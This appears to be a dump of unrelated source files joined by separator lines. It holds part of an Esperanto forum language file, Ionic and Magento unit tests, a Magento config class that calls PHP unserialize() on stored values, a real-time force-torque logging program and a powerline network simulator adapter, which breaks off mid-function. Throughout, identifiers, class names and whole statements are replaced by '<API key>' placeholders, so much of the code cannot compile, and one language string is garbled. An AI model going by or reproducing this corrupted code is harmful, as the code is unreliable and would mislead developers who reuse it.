'<API key>' => '<b>Atentu !</b> via mesaĝo estas tro longa (@compte@ signoj) : por esti registrita, ĝi ne preteratingu @max@ signojn.', # MODIF
'<API key>' => 'Vi selektis :',
'<API key>' => 'Musklaku <a href=\'@retour_forum@\'>ĉi tie</a> por daŭrigi.',
'forum_forum' => 'forumo',
'forum_info_modere' => 'Tiu ĉi forumo estas apriore moderigata : via kontribuo aperos nur post validigo far de mastrumanto de la forumo.', # MODIF
'forum_lien_hyper' => '<b>Hiperligo</b> (nedeviga)', # MODIF
'<API key>' => 'Definitiva mesaĝo : sendu al la forumo',
'<API key>' => 'Via mesaĝo estas tro longa. La maksimuma longeco estas 20.000 signojn.', # MODIF
'<API key>' => 'Ne respondu al tiu ĉi retletero, sed en la forumo ĉe la jena adreso :', # MODIF
'forum_page_url' => '(Se via mesaĝo rilatas al artikolo publikigita ĉe la reto, aŭ al paĝo donanta pli da informoj, bonvolu indiki ĉi-poste la titolon de la paĝo kaj ties ret-adreson.)',
'forum_poste_par' => 'Mesaĝo posté@parauteur@ reage al via artikolo « @titre@ ».', # MODIF
'forum_qui_etes_vous' => '<b>Kiu vi estas ?</b> (nedeviga)', # MODIF
'forum_texte' => 'Teksto de via mesaĝo :', # MODIF
'forum_titre' => 'Titolo :', # MODIF
'forum_url' => 'URL :', # MODIF
'forum_valider' => 'Validigi tiun elekton',
'forum_voir_avant' => 'Vidi tiun ĉi mesaĝon antaŭ ol sendi ĝin', # MODIF
'forum_votre_email' => 'Via retpoŝtadreso',
'forum_votre_nom' => 'Via nomo (aŭ salutnomo) :', # MODIF
'<API key>' => 'Por partopreni en ;
tiu ĉi forumo, vi devas antaŭe registriĝi. Bonvolu
indiki ĉi-sube la personan ensalutilon kiu estis
sendita al vi. Se vi ne estas registrita, vi devas',
'forum_vous_inscrire' => 'registriĝi.',
'<API key>' => 'Sendi mesaĝon',
'icone_suivi_forum' => 'Superrigardo de la publika forumo : @nb_forums@ kontribuo(j)',
'icone_suivi_forums' => 'Superrigardi/mastrumi la forumojn',
'<API key>' => 'Forigi tiun mesaĝon',
'<API key>' => 'Validigi tiun mesaĝon',
'<API key>' => '<i>Por aktivigi la publikajn forumojn, bonvolu elekti ilian
defaŭltan moderig-reĝimon :</i>', # MODIF
'<API key>' => 'Apliki tiun moderig-elekton :',
'<API key>' => 'En la privata spaco de la retejo, vi povas aktivigi plurajn tipojn de forumoj :', # MODIF
'<API key>' => 'Forumo rezervita al retejaj mastrumantoj :',
'<API key>' => 'Ĝenerala forumo, malfermita al ĉiuj redaktantoj :',
'<API key>' => 'Forumo sub ĉiu artikolo, fulminformo, referencigita retejo, ktp :',
'<API key>' => 'Malaktivigi la uzon de la publikaj forumoj.
La publikaj forumoj estos laŭkaze unu post la alia permesitaj
laŭ la artikoloj ; ili estos malpermesataj koncerne rubrikojn, fulm-informojn, ktp.',
'info_envoi_forum' => 'Sendo de la forumoj al aŭtoroj de la artikoloj',
'<API key>' => 'Funkciado de la forumo :',
'<API key>' => 'La paĝo pri <i>superkontrolo de la forumoj</i> estas mastrumilo por via retejo (kaj ne diskutejo aŭ redaktejo). Ĝi afiŝas ĉiujn kontribuaĵojn de la forumoj (de la publika spaco same kiel de la privata), kaj ebligas al vi mastrumi tiujn kontribuaĵojn.', # MODIF
'<API key>' => 'forumoj',
'<API key>' => 'estas',
'<API key>' => 'forumo',
'<API key>' => 'estas',
'<API key>' => 'validigotaj',
'<API key>' => 'Defaŭlta funkcimodo de la publikaj forumoj',
'info_option_email' => 'Kiam vizitanto de la retejo sendas novan mesaĝon en la forumon
ligitan kun artikolo, eblas retpoŝte sciigi pri tiu mesaĝo al la aŭtoroj de la artikolo. Indiku por ĉia forumo, ĉu tiun eblecon oni uzu.',
'info_pas_de_forum' => 'neniu forumo',
'<API key>' => 'Ĉu vi permesas al vizitantoj kunsendi dokumentojn (bildojn, sonaĵojn...) al siaj forumaj mesaĝoj ?', # MODIF
'<API key>' => 'Laŭkaze, bonvolu indiki ĉi-sube la liston de dosiernomaj sufiksoj permesitaj por la forumoj (ekz : gif, jpg, png, mp3).', # MODIF
'<API key>' => 'Aktivigi la forumon de la mastrumantoj',
'<API key>' => 'Aktivigi la forumon de redaktantoj',
'<API key>' => 'Aktivigi tiujn ĉi forumojn',
'<API key>' => 'Malaktivigi la forumon de la mastrumantoj',
'<API key>' => 'Malaktivigi la forumon de redaktantoj',
'<API key>' => 'Malaktivigi tiujn ĉi forumojn',
'<API key>' => 'Respondo al la artikolo',
'<API key>' => 'Respondo al la fulm-informo',
'<API key>' => 'Respondo al la rubriko',
'<API key>' => 'Respondo al la referencigita retejo :', # MODIF
'<API key>' => 'Internaj mesaĝoj',
'<API key>' => 'Publikaj mesaĝoj',
'<API key>' => 'Sentekstaj mesaĝoj',
'repondre_message' => 'Respondi al tiu mesaĝo',
'statut_original' => 'originala',
'<API key>' => 'Privata forumo de la mastrumantoj',
'<API key>' => 'Interna forumo',
'<API key>' => 'Forumoj de la privata spaco',
'titre_forum' => 'Forumo',
'titre_forum_suivi' => 'Superrigardo de la forumoj',
'<API key>' => 'Superrigardo de la forumoj'
);
?>
|
import { TestData } from '../../test-data';
import { ViewController } from 'ionic-angular';
import {
NavParamsMock,
BrandsActionsMock,
<API key>,
ModelsActionsMock,
ItemsActionsMock,
BrandsServiceMock,
<API key>,
ModelsServiceMock,
ItemsServiceMock,
} from '../../mocks';
import { InventoryFilterPage } from './inventory-filter';
let instance: InventoryFilterPage = null;
describe('InventoryFilter Page', () => {
beforeEach(() => {
instance = new InventoryFilterPage(
<any> new ViewController,
<any> new NavParamsMock,
<any> new BrandsServiceMock,
<any> new BrandsActionsMock,
<any> new ModelsServiceMock,
<any> new ModelsActionsMock,
<any> new <API key>,
<any> new <API key>,
<any> new ItemsServiceMock,
<any> new ItemsActionsMock
);
});
it('is created', () => {
expect(instance).toBeTruthy();
});
it('gets ids from store', () => {
instance.ngOnInit();
expect(instance.selectedBrandID).toEqual(TestData.itemFilters.brandID);
expect(instance.selectedModelID).toEqual(TestData.itemFilters.modelID);
expect(instance.selectedCategoryID).toEqual(TestData.itemFilters.categoryID);
});
it('calls filterModels if selectedBrandID is not -1', () => {
instance.navParams.param = TestData.apiItem.brandID;
spyOn(instance, 'onFilterModels');
instance.ngOnInit();
expect(instance.onFilterModels).toHaveBeenCalled();
});
it('filters models on filterModels()', () => {
spyOn(instance.modelsActions, 'filterModels');
instance.onFilterModels();
expect(instance.modelsActions.filterModels).toHaveBeenCalled();
});
it('resets filters on resetFilters()', () => {
spyOn(instance, 'onApplyFilters');
instance.onResetFilters();
expect(instance.selectedBrandID).toEqual(-1);
expect(instance.selectedModelID).toEqual(-1);
expect(instance.selectedCategoryID).toEqual(-1);
expect(instance.onApplyFilters).toHaveBeenCalled();
});
it('dismisses modal on dismiss', () => {
spyOn(instance.viewCtrl, 'dismiss');
instance.onDismiss();
expect(instance.viewCtrl.dismiss).toHaveBeenCalled();
});
it('dismisses modal on applyFilters', () => {
instance.selectedBrandID = TestData.itemFilters.brandID;
instance.selectedModelID = TestData.itemFilters.modelID;
instance.selectedCategoryID = TestData.itemFilters.categoryID;
const ids = {
brandID: TestData.itemFilters.brandID,
modelID: TestData.itemFilters.modelID,
categoryID: TestData.itemFilters.categoryID
};
spyOn(instance.viewCtrl, 'dismiss');
spyOn(instance.itemsActions, 'updateFilters');
instance.onApplyFilters();
expect(instance.viewCtrl.dismiss).toHaveBeenCalled();
expect(instance.itemsActions.updateFilters).<API key>(ids);
});
});
|
<?php
namespace Magento\Framework\App\Test\Unit\View\Asset\<API key>;
use \Magento\Framework\App\View\Asset\<API key>\Factory;
use Magento\Framework\<API key>;
class FactoryTest extends \<API key>
{
/**
* @var <API key> | \<API key>
*/
private $objectManager;
protected function setUp()
{
$this->objectManager = $this->getMockBuilder('Magento\Framework\<API key>')
->setMethods([])
->getMock();
}
public function <API key>()
{
$asset = $this->getAsset();
$copyStrategy = $this->getMockBuilder('Magento\Framework\App\View\Asset\<API key>\Copy')
->setMethods([])
->getMock();
$copyStrategy->expects($this->once())
->method('isSupported')
->with($asset)
->willReturn(true);
$this->objectManager->expects($this->once())
->method('get')
->with(Factory::DEFAULT_STRATEGY)
->willReturn($copyStrategy);
$factory = new Factory($this->objectManager, []);
$this->assertSame($copyStrategy, $factory->create($asset));
}
public function testCreateSupported()
{
$asset = $this->getAsset();
$copyStrategy = $this->getMockBuilder('Magento\Framework\App\View\Asset\<API key>\Copy')
->setMethods([])
->getMock();
$copyStrategy->expects($this->once())
->method('isSupported')
->with($asset)
->willReturn(false);
$supportedStrategy = $this->getMockBuilder(
'Magento\Framework\App\View\Asset\<API key>\StrategyInterface'
)
->setMethods([])
->getMock();
$supportedStrategy->expects($this->once())
->method('isSupported')
->with($asset)
->willReturn(true);
$factory = new Factory($this->objectManager, [$copyStrategy, $supportedStrategy]);
$this->assertSame($supportedStrategy, $factory->create($asset));
}
public function testCreateException()
{
$asset = $this->getAsset();
$copyStrategy = $this->getMockBuilder('Magento\Framework\App\View\Asset\<API key>\Copy')
->setMethods([])
->getMock();
$copyStrategy->expects($this->once())
->method('isSupported')
->with($asset)
->willReturn(false);
$this->objectManager->expects($this->once())
->method('get')
->with(Factory::DEFAULT_STRATEGY)
->willReturn($copyStrategy);
$factory = new Factory($this->objectManager, []);
$this-><API key>('LogicException', 'No materialization strategy is supported');
$factory->create($asset);
}
/**
* @return \Magento\Framework\View\Asset\LocalInterface | \<API key>
*/
private function getAsset()
{
return $this->getMockBuilder('Magento\Framework\View\Asset\LocalInterface')
->setMethods([])
->getMock();
}
}
|
<?php
namespace Magento\Tax\Test\Unit\Model;
class <API key> extends \<API key>
{
/**
* @var \Magento\Tax\Model\TaxRateManagement
*/
protected $model;
/**
* @var \<API key>
*/
protected $<API key>;
/**
* @var \<API key>
*/
protected $filterBuilderMock;
/**
* @var \<API key>
*/
protected $<API key>;
/**
* @var \<API key>
*/
protected $<API key>;
protected function setUp()
{
$this->filterBuilderMock = $this->getMock('\Magento\Framework\Api\FilterBuilder', [], [], '', false);
$this-><API key> = $this->getMock('\Magento\Tax\Api\<API key>', [], [], '', false);
$this-><API key> = $this->getMock('\Magento\Tax\Api\<API key>', [], [], '', false);
$this-><API key> = $this->getMock(
'\Magento\Framework\Api\<API key>',
[],
[],
'',
false
);
$this->model = new \Magento\Tax\Model\TaxRateManagement(
$this-><API key>,
$this-><API key>,
$this->filterBuilderMock,
$this-><API key>
);
}
public function <API key>()
{
$customerTaxClassId = 4;
$productTaxClassId = 42;
$rateIds = [10];
$productFilterMock = $this->getMock('\Magento\Framework\Api\Filter', [], [], '', false);
$customerFilterMock = $this->getMock('\Magento\Framework\Api\Filter', [], [], '', false);
$searchCriteriaMock = $this->getMock('\Magento\Framework\Api\SearchCriteria', [], [], '', false);
$searchResultsMock = $this->getMock('\Magento\Tax\Api\Data\<API key>', [], [], '', false);
$taxRuleMock = $this->getMock('\Magento\Tax\Api\Data\TaxRuleInterface', [], [], '', false);
$taxRateMock = $this->getMock('\Magento\Tax\Api\Data\TaxRateInterface', [], [], '', false);
$this->filterBuilderMock->expects($this->exactly(2))->method('setField')->withConsecutive(
['<API key>'],
['<API key>']
)->willReturnSelf();
$this->filterBuilderMock->expects($this->exactly(2))->method('setValue')->withConsecutive(
[$this->equalTo([$customerTaxClassId])],
[$this->equalTo([$productTaxClassId])]
)->willReturnSelf();
$this->filterBuilderMock->expects($this->exactly(2))->method('create')-><API key>(
$customerFilterMock,
$productFilterMock
);
$this-><API key>->expects($this->exactly(2))->method('addFilters')->withConsecutive(
[[$customerFilterMock]],
[[$productFilterMock]]
);
$this-><API key>->expects($this->once())->method('create')->willReturn($searchCriteriaMock);
$this-><API key>->expects($this->once())->method('getList')->with($searchCriteriaMock)
->willReturn($searchResultsMock);
$searchResultsMock->expects($this->once())->method('getItems')->willReturn([$taxRuleMock]);
$taxRuleMock->expects($this->once())->method('getTaxRateIds')->willReturn($rateIds);
$this-><API key>->expects($this->once())->method('get')->with($rateIds[0])
->willReturn($taxRateMock);
$this->assertEquals(
[$taxRateMock],
$this->model-><API key>($customerTaxClassId, $productTaxClassId)
);
}
}
|
<?php
namespace Magento\Config\Model\Config\Backend;
class Serialized extends \Magento\Framework\App\Config\Value
{
/**
* @return void
*/
protected function _afterLoad()
{
if (!is_array($this->getValue())) {
$value = $this->getValue();
$this->setValue(empty($value) ? false : unserialize($value));
}
}
/**
* @return $this
*/
public function beforeSave()
{
if (is_array($this->getValue())) {
$this->setValue(serialize($this->getValue()));
}
return parent::beforeSave();
}
}
|
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <syslog.h>
#include <signal.h>
#include <unistd.h>
#include <native/task.h>
#include <native/timer.h>
#include <boost/thread.hpp>
#include <boost/ref.hpp>
#include <boost/tuple/tuple.hpp>
#include <barrett/detail/stacktrace.h>
#include <barrett/detail/stl_utils.h>
#include <barrett/units.h>
#include <barrett/log.h>
#include <barrett/products/product_manager.h>
using namespace barrett;
using detail::waitForEnter;
<API key>;
typedef boost::tuple<double, cf_type, ct_type> tuple_type;
bool g_Going = true; // Global
void stopThreads(int sig) {
g_Going = false;
}
void <API key>(int)
{
syslog(LOG_ERR, "WARNING: Switched out of RealTime. Stack-trace:");
detail::syslog_stacktrace();
std::cerr << "WARNING: Switched out of RealTime. Stack-trace in syslog.\n";
}
void ftThreadEntryPoint(bool* going, double T_s, ForceTorqueSensor& fts, log::RealTimeWriter<tuple_type>* lw, int windowSize, int* numSamples, tuple_type* sum) {
tuple_type t;
rt_task_shadow(new RT_TASK, NULL, 10, 0);
rt_task_set_mode(0, T_PRIMARY | T_WARNSW, NULL);
<API key>(NULL, TM_NOW, T_s * 1e9);
RTIME now = rt_timer_read();
RTIME lastUpdate = now;
while (*going) {
rt_task_wait_period(NULL);
now = rt_timer_read();
fts.update(true); // Do a realtime update (no sleeping while waiting for messages)
boost::get<0>(t) = ((double) now - lastUpdate) * 1e-9;
boost::get<1>(t) = fts.getForce();
boost::get<2>(t) = fts.getTorque();
if (lw != NULL) {
lw->putRecord(t);
} else {
if (*numSamples == 0) {
boost::get<1>(*sum).setZero();
boost::get<2>(*sum).setZero();
}
if (*numSamples < windowSize) {
boost::get<1>(*sum) += boost::get<1>(t);
boost::get<2>(*sum) += boost::get<2>(t);
++(*numSamples);
}
}
lastUpdate = now;
}
rt_task_set_mode(T_WARNSW, 0, NULL);
}
void showUsageAndExit(const char* programName) {
printf("Usage: %s {-f <fileName> | -a <windowSize>} [<<API key>>]\n", programName);
printf(" -f <fileName> Log data to a file\n");
printf(" -a <windowSize> Print statistics on segments of data\n");
exit(0);
}
int main(int argc, char** argv) {
char* outFile = NULL;
double T_s = 0.002; // Default: 500Hz
bool fileMode = false;
int windowSize = 0;
if (argc == 4) {
T_s = std::atof(argv[3]);
} else if (argc != 3) {
showUsageAndExit(argv[0]);
}
printf("Sample period: %fs\n", T_s);
if (strcmp(argv[1], "-f") == 0) {
fileMode = true;
outFile = argv[2];
printf("Output file: %s\n", outFile);
} else if (strcmp(argv[1], "-a") == 0) {
fileMode = false;
windowSize = atoi(argv[2]);
printf("Window size: %d\n", windowSize);
} else {
showUsageAndExit(argv[0]);
}
printf("\n");
signal(SIGXCPU, &<API key>);
char tmpFile[] = "/tmp/btXXXXXX";
log::RealTimeWriter<tuple_type>* lw = NULL;
if (fileMode) {
signal(SIGINT, &stopThreads);
if (mkstemp(tmpFile) == -1) {
printf("ERROR: Couldn't create temporary file!\n");
return 1;
}
lw = new barrett::log::RealTimeWriter<tuple_type>(tmpFile, T_s);
}
int numSamples = windowSize, numSets = 0;
tuple_type sum;
ProductManager pm;
if ( !pm.<API key>() ) {
printf("ERROR: No Force-Torque Sensor found!\n");
return 1;
}
boost::thread ftThread(ftThreadEntryPoint, &g_Going, T_s, boost::ref(*pm.<API key>()), lw, windowSize, &numSamples, &sum);
if (fileMode) {
printf(">>> Logging data. Press [Ctrl-C] to exit.\n");
} else {
printf(">>> Press [Enter] to start a new sample. Press [Ctrl-C] to exit.\n\n");
printf("ID,FX,FY,FZ,TX,TY,TZ");
while (g_Going) {
waitForEnter();
numSamples = 0;
while (numSamples != windowSize) {
usleep(100000);
}
boost::get<1>(sum) /= windowSize;
boost::get<2>(sum) /= windowSize;
printf("%d,%f,%f,%f,%f,%f,%f", ++numSets, boost::get<1>(sum)[0], boost::get<1>(sum)[1], boost::get<1>(sum)[2], boost::get<2>(sum)[0], boost::get<2>(sum)[1], boost::get<2>(sum)[2]);
}
}
ftThread.join();
printf("\n");
if (fileMode) {
delete lw;
log::Reader<tuple_type> lr(tmpFile);
lr.exportCSV(outFile);
printf("Output written to %s.\n", outFile);
std::remove(tmpFile);
}
return 0;
}
|
#include <stdio.h>
#include <string.h>
#include <omnetpp.h>
#include "Adapter_PLC_Base.h"
#include "IPassiveQueue.h"
#include "IInterfaceTable.h"
#include "<API key>.h"
//static const double SPEED_OF_LIGHT = 200000000.0; // TODO: Changed by Ramon; already defined in INETDefs.h
Adapter_PLC_Base::Adapter_PLC_Base()
{
nb = NULL;
queueModule = NULL;
interfaceEntry = NULL;
endTxMsg = endIFGMsg = endPauseMsg = NULL;
}
Adapter_PLC_Base::~Adapter_PLC_Base()
{
cancelAndDelete(endTxMsg);
cancelAndDelete(endIFGMsg);
cancelAndDelete(endPauseMsg);
}
void Adapter_PLC_Base::initialize()
{
physOutGate = gate("phys$o");
initializeFlags();
initializeTxrate();
WATCH(txrate);
<API key>();
<API key>();
<API key>();
<API key>();
/*
The adapter has no higher layer!
*/
// registerInterface(txrate); // needs MAC address
// initialize queue
txQueue.setName("txQueue");
// initialize self messages
endTxMsg = new cMessage("EndTransmission", ENDTRANSMISSION);
endIFGMsg = new cMessage("EndIFG", ENDIFG);
endPauseMsg = new cMessage("EndPause", ENDPAUSE);
// initialize states
transmitState = TX_IDLE_STATE;
receiveState = RX_IDLE_STATE;
WATCH(transmitState);
WATCH(receiveState);
// initalize pause
pauseUnitsRequested = 0;
WATCH(pauseUnitsRequested);
// initialize queue limit
txQueueLimit = par("txQueueLimit");
WATCH(txQueueLimit);
}
void Adapter_PLC_Base::<API key>()
{
if (par("queueModule").stringValue()[0])
{
cModule *module = getParentModule()->getSubmodule(par("queueModule").stringValue());
queueModule = check_and_cast<IPassiveQueue *>(module);
if (COMMENTS_ON) EV << "Requesting first frame from queue module\n";
queueModule->requestPacket();
}
}
void Adapter_PLC_Base::<API key>()
{
const char *addrstr = par("address");
if (!strcmp(addrstr,"auto"))
{
// assign automatic address
address = MACAddress::generateAutoAddress();
// change module parameter from "auto" to concrete address
par("address").setStringValue(address.str().c_str());
}
else
{
address.setAddress(addrstr);
}
}
void Adapter_PLC_Base::<API key>()
{
hasSubscribers = false;
if (interfaceEntry) {
nb = <API key>().getIfExists();
notifDetails.setInterfaceEntry(interfaceEntry);
nb->subscribe(this, <API key>);
updateHasSubcribers();
}
}
void Adapter_PLC_Base::initializeFlags()
{
// initialize connected flag
connected = physOutGate->getPathEndGate()->isConnected();
if (!connected)
if (COMMENTS_ON) EV << "MAC not connected to a network.\n";
WATCH(connected);
// TODO: this should be settable from the gui
// initialize disabled flag
// Note: it is currently not supported to enable a disabled MAC at runtime.
// Difficulties: (1) autoconfig (2) how to pick up channel state (free, tx, collision etc)
disabled = false;
WATCH(disabled);
// initialize promiscuous flag
promiscuous = par("promiscuous");
WATCH(promiscuous);
}
void Adapter_PLC_Base::<API key>()
{
framesSentInBurst = 0;
bytesSentInBurst = 0;
numFramesSent = numFramesReceivedOK = numBytesSent = numBytesReceivedOK = 0;
numFramesPassedToHL = numDroppedBitError = numDroppedNotForUs = 0;
numFramesFromHL = numDroppedIfaceDown = 0;
numPauseFramesRcvd = numPauseFramesSent = 0;
WATCH(framesSentInBurst);
WATCH(bytesSentInBurst);
WATCH(numFramesSent);
WATCH(numFramesReceivedOK);
WATCH(numBytesSent);
WATCH(numBytesReceivedOK);
WATCH(numFramesFromHL);
WATCH(numDroppedIfaceDown);
WATCH(numDroppedBitError);
WATCH(numDroppedNotForUs);
WATCH(numFramesPassedToHL);
WATCH(numPauseFramesRcvd);
WATCH(numPauseFramesSent);
/*
numFramesSentVector.setName("framesSent");
<API key>.setName("framesReceivedOK");
numBytesSentVector.setName("bytesSent");
<API key>.setName("bytesReceivedOK");
<API key>.setName("<API key>");
<API key>.setName("<API key>");
<API key>.setName("<API key>");
<API key>.setName("framesPassedToHL");
<API key>.setName("pauseFramesRcvd");
<API key>.setName("pauseFramesSent");
*/
}
void Adapter_PLC_Base::registerInterface(double txrate)
{
IInterfaceTable *ift = <API key>().getIfExists();
if (!ift)
return;
// interfaceEntry = new InterfaceEntry();
interfaceEntry = new InterfaceEntry(NULL); // TODO: Changed by Ramon
// interface name: our module name without special characters ([])
char *interfaceName = new char[strlen(getParentModule()->getFullName())+1];
char *d=interfaceName;
for (const char *s=getParentModule()->getFullName(); *s; s++)
if (isalnum(*s))
*d++ = *s;
*d = '\0';
interfaceEntry->setName(interfaceName);
delete [] interfaceName;
// data rate
interfaceEntry->setDatarate(txrate);
// generate a link-layer address to be used as interface token for IPv6
interfaceEntry->setMACAddress(address);
interfaceEntry->setInterfaceToken(address.<API key>());
//InterfaceToken token(0, simulation.getUniqueNumber(), 64);
//interfaceEntry->setInterfaceToken(token);
// MTU: typical values are 576 (Internet de facto), 1500 (PLC-friendly),
// 4000 (on some point-to-point links), 4470 (Cisco routers default, FDDI compatible)
interfaceEntry->setMtu(par("mtu"));
// capabilities
interfaceEntry->setMulticast(true);
interfaceEntry->setBroadcast(true);
// add
// ift->addInterface(interfaceEntry, this);
ift->addInterface(interfaceEntry); // TODO: Changed by Ramon
}
bool Adapter_PLC_Base::<API key>(PlcFrame *frame)
{
/*
// If not set to promiscuous = on, then checks if received frame contains destination MAC address
// matching port's MAC address, also checks if broadcast bit is set
if (!promiscuous && !frame->getDest().isBroadcast() && !frame->getDest().equals(address))
{
if (COMMENTS_ON) EV << "Frame `" << frame->getName() <<"' not destined to us, discarding\n";
numDroppedNotForUs++;
<API key>.record(numDroppedNotForUs);
delete frame;
return false;
}
*/
if (COMMENTS_ON) EV << "Since I'm an adapter, I will pass through every frame!" << endl;
return true;
}
void Adapter_PLC_Base::calculateParameters()
{
if (disabled || !connected)
{
bitTime = slotTime = interFrameGap = jamDuration = <API key> = 0;
carrierExtension = frameBursting = false;
return;
}
/*
Diesen Abschnitt mus man ausblenden, da er die Uebertragungsraten auf wenige, zulaessige
reduziert, was fuer Powerline absolut nicht zutreffend ist.
if (txrate != PLC_TXRATE && txrate != FAST_PLC_TXRATE &&
txrate != GIGABIT_PLC_TXRATE && txrate != <API key>)
{
error("nonstandard transmission rate %g, must be %g, %g, %g or %g bit/sec",
txrate, PLC_TXRATE, FAST_PLC_TXRATE, GIGABIT_PLC_TXRATE, <API key>);
}
*/
double temp = ROBO_DATARATE * 1000000;
if (txrate <= temp)
{
if (COMMENTS_ON) EV << "Measured datarate is estimated below ROBO datarate." << endl;
if (COMMENTS_ON) EV << "ROBO datarate is the lowest datarate possible." << endl;
if (COMMENTS_ON) EV << "TX rate will be set to ROBO datarate." << endl;
txrate = ROBO_DATARATE * 1000000;
}
if (txrate <= ROBO_DATARATE || txrate >= 1000000000) txrate = ROBO_DATARATE;
bitTime = 1/(double)txrate;
if (COMMENTS_ON) EV << endl << "Bit time is calculated to " << bitTime << "s." << endl;
/*
Dieser Abschnitt muss ausgeblendet werden, da die Berechnung der Parameter fuer
<API key> etwas anders von Statten gehen muss.
// set slot time
if (txrate==PLC_TXRATE || txrate==FAST_PLC_TXRATE)
slotTime = SLOT_TIME;
else
slotTime = GIGABIT_SLOT_TIME;
// only if Gigabit PLC
frameBursting = (txrate==GIGABIT_PLC_TXRATE || txrate==<API key>);
carrierExtension = (slotTime == GIGABIT_SLOT_TIME && !duplexMode);
interFrameGap = INTERFRAME_GAP_BITS/(double)txrate;
jamDuration = 8*JAM_SIGNAL_BYTES*bitTime;
<API key> = carrierExtension ? <API key> : MIN_PLC_FRAME;
*/
// set slot time
slotTime = 512/txrate;
if (COMMENTS_ON) EV << "Slot time is set to " << slotTime << "s." << endl;
// only if fast PLC
// Ein Burst darf nicht laenger als 5000 usec sein. 4 x MaxFramedauer < 5000 usec => FrameBursting = true!
simtime_t k = 0.005;
simtime_t x = (simtime_t)(bitTime * (MAX_PLC_FRAME * 8 /* bytes */) * 4);
if (COMMENTS_ON) EV << "Calculation for frame bursting resulted in " << x << " sec." << endl;
if (COMMENTS_ON) EV << "Threshold for frame bursting is " << k << " sec." << endl;
if (x < k)
{
frameBursting = true;
}
else
{
frameBursting = false;
}
if (COMMENTS_ON) EV << "Frame bursting is at " << frameBursting << "." << endl;
carrierExtension = false; // not available for PLC
if (frameBursting)
{
interFrameGap = /* INTERFRAME_GAP_BITS/(double)txrate; */ CIFS / 1000000;
}
else
{
interFrameGap = /* INTERFRAME_GAP_BITS/(double)txrate; */ RIFS / 1000000;
}
if (COMMENTS_ON) EV << "Inter frame gap is at " << interFrameGap << "s." << endl;
jamDuration = 8*JAM_SIGNAL_BYTES*bitTime;
if (COMMENTS_ON) EV << "Jam duration is at " << jamDuration << "s." << endl;
<API key> = MIN_PLC_FRAME;
}
void Adapter_PLC_Base::printParameters()
{
// Dump parameters
if (COMMENTS_ON) EV << "MAC address: " << address << (promiscuous ? ", promiscuous mode" : "") << endl;
if (COMMENTS_ON) EV << "txrate: " << txrate << ", " << (duplexMode ? "duplex" : "half-duplex") << endl;
#if 0
EV << "bitTime: " << bitTime << endl;
EV << "carrierExtension: " << carrierExtension << endl;
EV << "frameBursting: " << frameBursting << endl;
EV << "slotTime: " << slotTime << endl;
EV << "interFrameGap: " << interFrameGap << endl;
EV << endl;
#endif
}
void Adapter_PLC_Base::<API key>(PlcFrame *frame)
{
if (COMMENTS_ON) EV << "Received frame from upper layer: " << frame << endl;
if (frame->getDest().equals(address))
{
error("logic error: frame %s from higher layer has local MAC address as dest (%s)",
frame->getFullName(), frame->getDest().str().c_str());
}
if (frame->getByteLength() > MAX_PLC_FRAME)
error("packet from higher layer (%d bytes) exceeds maximum PLC frame size (%d)", frame->getByteLength(), MAX_PLC_FRAME);
// must be PlcFrame (or PlcPauseFrame) from upper layer
bool isPauseFrame = (dynamic_cast<PlcPauseFrame*>(frame)!=NULL);
if (!isPauseFrame)
{
numFramesFromHL++;
if (txQueueLimit && txQueue.length()>txQueueLimit)
error("txQueue length exceeds %d -- this is probably due to "
"a bogus app model generating excessive traffic "
"(or if this is normal, increase txQueueLimit!)",
txQueueLimit);
// fill in src address if not set
if (frame->getSrc().isUnspecified())
frame->setSrc(address);
// store frame and possibly begin transmitting
if (COMMENTS_ON) EV << "Packet " << frame << " arrived from higher layers, enqueueing\n";
txQueue.insert(frame);
}
else
{
if (COMMENTS_ON) EV << "PAUSE received from higher layer\n";
// PAUSE frames enjoy priority -- they're transmitted before all other frames queued up
if (!txQueue.empty())
txQueue.insertBefore(txQueue.front(), frame); // front() frame is probably being transmitted
else
txQueue.insert(frame);
}
}
void Adapter_PLC_Base::<API key>(cPacket *frame)
{
if (COMMENTS_ON) EV << "Received frame from network: " << frame << endl;
// frame must be PlcFrame or PlcJam
if (dynamic_cast<PlcFrame*>(frame)==NULL && dynamic_cast<PlcJam*>(frame)==NULL)
error("message with unexpected message class '%s' arrived from network (name='%s')",
frame->getClassName(), frame->getFullName());
// detect cable length violation in half-duplex mode
if (!duplexMode && simTime()-frame->getSendingTime()>=<API key>)
error("very long frame propagation time detected, maybe cable exceeds maximum allowed length? "
"(%lgs corresponds to an approx. %lgm cable)",
SIMTIME_STR(simTime() - frame->getSendingTime()),
SIMTIME_STR((simTime() - frame->getSendingTime())*SPEED_OF_LIGHT));
}
void Adapter_PLC_Base::<API key>(PlcFrame *frame)
{
int pauseUnits;
PlcPauseFrame *pauseFrame;
if ((pauseFrame=dynamic_cast<PlcPauseFrame*>(frame))!=NULL)
{
pauseUnits = pauseFrame->getPauseTime();
delete frame;
numPauseFramesRcvd++;
// <API key>.record(numPauseFramesRcvd);
processPauseCommand(pauseUnits);
}
else
{
<API key>((PlcFrame *)frame);
}
}
void Adapter_PLC_Base::<API key>(PlcFrame *frame)
{
// bit errors
if (frame->hasBitError())
{
numDroppedBitError++;
// <API key>.record(numDroppedBitError);
delete frame;
return;
}
// strip preamble and SFD
frame->addByteLength(-<API key>);
// statistics
numFramesReceivedOK++;
numBytesReceivedOK += frame->getByteLength();
// <API key>.record(numFramesReceivedOK);
// <API key>.record(numBytesReceivedOK);
if (!<API key>(frame))
return;
numFramesPassedToHL++;
// <API key>.record(numFramesPassedToHL);
// pass up to upper layer
send(frame, "upperLayerOut");
}
void Adapter_PLC_Base::processPauseCommand(int pauseUnits)
{
if (transmitState==TX_IDLE_STATE)
{
if (COMMENTS_ON) EV << "PAUSE frame received, pausing for " << pauseUnitsRequested << " time units\n";
if (pauseUnits>0)
<API key>(pauseUnits);
}
else if (transmitState==PAUSE_STATE)
{
if (COMMENTS_ON) EV << "PAUSE frame received, pausing for " << pauseUnitsRequested << " more time units from now\n";
cancelEvent(endPauseMsg);
if (pauseUnits>0)
<API key>(pauseUnits);
}
else
{
// transmitter busy -- wait until it finishes with current frame (endTx)
// and then it'll go to PAUSE state
if (COMMENTS_ON) EV << "PAUSE frame received, storing pause request\n";
pauseUnitsRequested = pauseUnits;
}
}
void Adapter_PLC_Base::handleEndIFGPeriod()
{
if (transmitState!=WAIT_IFG_STATE)
error("Not in WAIT_IFG_STATE at the end of IFG period");
if (txQueue.empty())
error("End of IFG and no frame to transmit");
// End of IFG period, okay to transmit, if Rx idle OR duplexMode
cPacket *frame = (cPacket *)txQueue.front();
